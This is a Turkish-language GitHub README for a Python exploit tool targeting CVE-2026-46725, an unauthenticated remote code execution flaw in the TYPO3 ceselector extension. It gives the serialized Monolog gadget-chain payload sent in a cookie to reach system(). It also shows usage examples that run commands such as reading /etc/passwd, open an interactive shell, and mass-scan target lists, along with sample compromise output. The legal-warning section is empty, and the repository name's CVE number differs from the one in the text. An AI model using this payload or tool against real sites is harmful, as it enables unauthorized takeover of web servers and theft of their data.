xxconi/CVE-2026-46275

GitHub: xxconi/CVE-2026-46275

Stars: 0 | Forks: 0

# CVE-2026-46725 — TYPO3 ceselector Extension RCE ![CVSS](https://img.shields.io/badge/CVSS-9.8%20Critical-red?style=flat-square) ![CWE](https://img.shields.io/badge/CWE-502%20Deserialization-orange?style=flat-square) ![Auth](https://img.shields.io/badge/Auth-Unauthenticated-red?style=flat-square) ![Python](https://img.shields.io/badge/Python-3.8%2B-blue?style=flat-square) ![License](https://img.shields.io/badge/License-MIT-green?style=flat-square) ## 📋 İçindekiler - [Zafiyet Hakkında](#-zafiyet-hakkında) - [Teknik Detaylar](#-teknik-detaylar) - [Gereksinimler](#-gereksinimler) - [Kurulum](#-kurulum) - [Kullanım](#-kullanım) - [Örnekler](#-örnekler) - [Çıktı Formatı](#-çıktı-formatı) - [Nasıl Çalışır](#-nasıl-çalışır) - [Referanslar](#-referanslar) - [Yasal Uyarı](#-yasal-uyarı) ## 🔍 Zafiyet Hakkında | Alan | Detay | |------|-------| | **CVE ID** | CVE-2026-46725 | | **Ürün** | TYPO3 ceselector Extension (`mmc/ceselector`) | | **Etkilenen Sürüm** | `<= 1.1.3` | | **Zafiyet Türü** | Insecure Deserialization (PHP Object Injection) | | **CVSS Skoru** | 9.8 Critical | | **CVSS Vektörü** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **CWE** | CWE-502 (Deserialization of Untrusted Data) | | **EPSS Skoru** | 0.0046 (%64.3 percentile) | | **Kimlik Doğrulama** | Gerekmez (Unauthenticated) | | **Etki** | Full RCE — Sistem tam kontrolü | | **Araştırmacı** | DhiyaneshDk | ### Açıklama TYPO3 `ceselector` extension'ı, `T3_ceselector_*` adlı cookie değerini herhangi bir doğrulama yapmadan doğrudan `unserialize()` fonksiyonuna geçirmektedir. Saldırgan, bu cookie'ye özel hazırlanmış bir **PHP Object Injection** payload'ı yerleştirerek sunucuda keyfi komut çalıştırabilir. ## 🔧 Teknik Detaylar ### Saldırı Akışı 1. GET / → Sunucu Set-Cookie: T3_ceselector_= döner 2. GET / → Cookie: T3_ceselector_= └─ PHP unserialize() tetiklenir └─ Monolog Gadget Chain çalışır └─ system("id") çıktısı response'a yansır ### Gadget Chain Monolog\Handler\GroupHandler └─ Monolog\Handler\BufferHandler └─ Monolog\LogRecord (buffer) └─ processors: [get_object_vars, end, system] └─ system("") ← RCE ### Payload Yapısı O:28:"Monolog\Handler\GroupHandler":1:{ s:11:"*handlers";a:1:{ i:0;O:29:"Monolog\Handler\BufferHandler":6:{ s:10:"*handler";r:3; s:13:"*bufferSize";i:1; s:14:"*bufferLimit";i:0; s:9:"*buffer";a:1:{ i:0;O:17:"Monolog\LogRecord":2:{ s:5:"level";E:19:"Monolog\Level:Debug"; s:5:"mixed";s:2:"id"; ← OS komutu buraya } } s:14:"*initialized";b:1; s:13:"*processors";a:3:{ i:0;s:15:"get_object_vars"; i:1;s:3:"end"; i:2;s:6:"system"; ← sink } } } } ## 📦 Gereksinimler - Python **3.8+** - `requests` kütüphanesi Python >= 3.8 requests >= 2.28.0 ## ⚙️ Kurulum # Repoyu klonla git clone https://github.com/example/CVE-2026-46725 cd CVE-2026-46725 # Bağımlılıkları yükle pip install requests # veya requirements.txt ile pip install -r requirements.txt **requirements.txt** requests>=2.28.0 urllib3>=1.26.0 ## 🚀 Kullanım usage: CVE-2026-46725 [-h] (-u URL | -l FILE) [-c CMD] [-i] [-t N] [--timeout S] [--proxy URL] [-o FILE] [-v] [--no-color] options: Hedef: -u, --url URL Tek hedef URL -l, --list FILE Hedef listesi (satır başı URL) Exploit: -c, --cmd CMD Çalıştırılacak OS komutu (varsayılan: id) -i, --interactive Başarılı exploit sonrası interaktif shell aç Tarama: -t, --threads N Thread sayısı (varsayılan: 10) --timeout S Timeout saniye (varsayılan: 15) --proxy URL Proxy (örn: http://127.0.0.1:8080) Çıktı: -o, --output FILE Sonuç dosyası -v, --verbose Ayrıntılı çıktı --no-color Renksiz çıktı ## 📌 Örnekler ### Tek Hedef — Temel Kullanım python CVE-2026-46725.py -u https://typo3-site.com ### Özel Komut Çalıştır python CVE-2026-46725.py -u https://typo3-site.com -c "whoami" python CVE-2026-46725.py -u https://typo3-site.com -c "cat /etc/passwd" python CVE-2026-46725.py -u https://typo3-site.com -c "uname -a" ### İnteraktif Shell python CVE-2026-46725.py -u https://typo3-site.com --interactive typo3@ceselector $ id │ uid=33(www-data) gid=33(www-data) groups=33(www-data) typo3@ceselector $ uname -a │ Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux typo3@ceselector $ pwd │ /var/www/html typo3@ceselector $ exit ### Toplu Tarama # 20 thread ile tara, sonuçları kaydet python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt # 30 thread, özel komut python CVE-2026-46725.py -l targets.txt -t 30 -c "id" ### Proxy ile (Burp Suite) python CVE-2026-46725.py -u https://typo3-site.com \ --proxy http://127.0.0.1:8080 -v ### targets.txt Formatı https://site1.com https://site2.com http://site3.com site4.com ## 📊 Çıktı Formatı ### Terminal Çıktısı ① TYPO3 & ceselector Tespit ──────────────────────────────────────────────────── · TYPO3 ✓ Tespit edildi · ceselector ✓ Aktif · Cookie Adı T3_ceselector_48291 · TYPO3 Sürüm 12.4.3 ② Payload Hazırlanıyor ──────────────────────────────────────────────────── · Teknik PHP Object Injection → Monolog Gadget Chain · Gadget Monolog\Handler\GroupHandler · Sink system() · Komut id ④ RCE Çıktısı ──────────────────────────────────────────────────── ┌─ RCE ÇIKTISI ─────────────────────────────────── │ uid=33(www-data) gid=33(www-data) groups=33(www-data) └───────────────────────────────────────────────── ### Kayıt Dosyası (`results.txt`) ============================================================ CVE-2026-46725 — TYPO3 ceselector RCE Tarih: 2026-05-26 17:30:00 ============================================================ [+] RCE ALINAN HEDEFLER (2) ---------------------------------------- URL : https://typo3-site.com Sürüm : 12.4.3 Cookie : T3_ceselector_48291 Komut : id Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data) ## 🔬 Nasıl Çalışır ┌─────────────────────────────────────────────────────────┐ │ EXPLOIT AKIŞI │ ├─────────────────────────────────────────────────────────┤ │ │ │ 1. TESPIT │ │ GET / ──────────────────────► TYPO3 Sunucu │ │ ◄──── Set-Cookie: T3_ceselector_XXXXX ───── │ │ │ │ 2. PAYLOAD HAZIRLAMA │ │ build_payload("id") │ │ └─ Monolog gadget chain URL-encode edilir │ │ │ │ 3. EXPLOIT │ │ GET / │ │ Cookie: T3_ceselector_XXXXX=O:28:"Monolog... │ │ ──────────────────────► unserialize() │ │ └─ __destruct() │ │ └─ system("id") │ │ ◄──── uid=33(www-data) gid=33(www-data) ─── │ │ │ │ 4. DOĞRULAMA │ │ regex: uid=\d+\([a-z_][a-z0-9_-]*\)\s+gid=... │ │ │ └─────────────────────────────────────────────────────────┘ ## 📚 Referanslar - [TYPO3 Security Advisory TYPO3-EXT-SA-2026-001](https://typo3.org/security/advisory/typo3-ext-sa-2026-001) - [Packagist — mmc/ceselector](https://packagist.org/packages/mmc/ceselector) - [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html) - [CVSS 3.1 Calculator](https://www.first.org/cvss/calculator/3.1) ## ⚖️ Yasal Uyarı
**CVE-2026-46725** | TYPO3 ceselector RCE | Python Exploit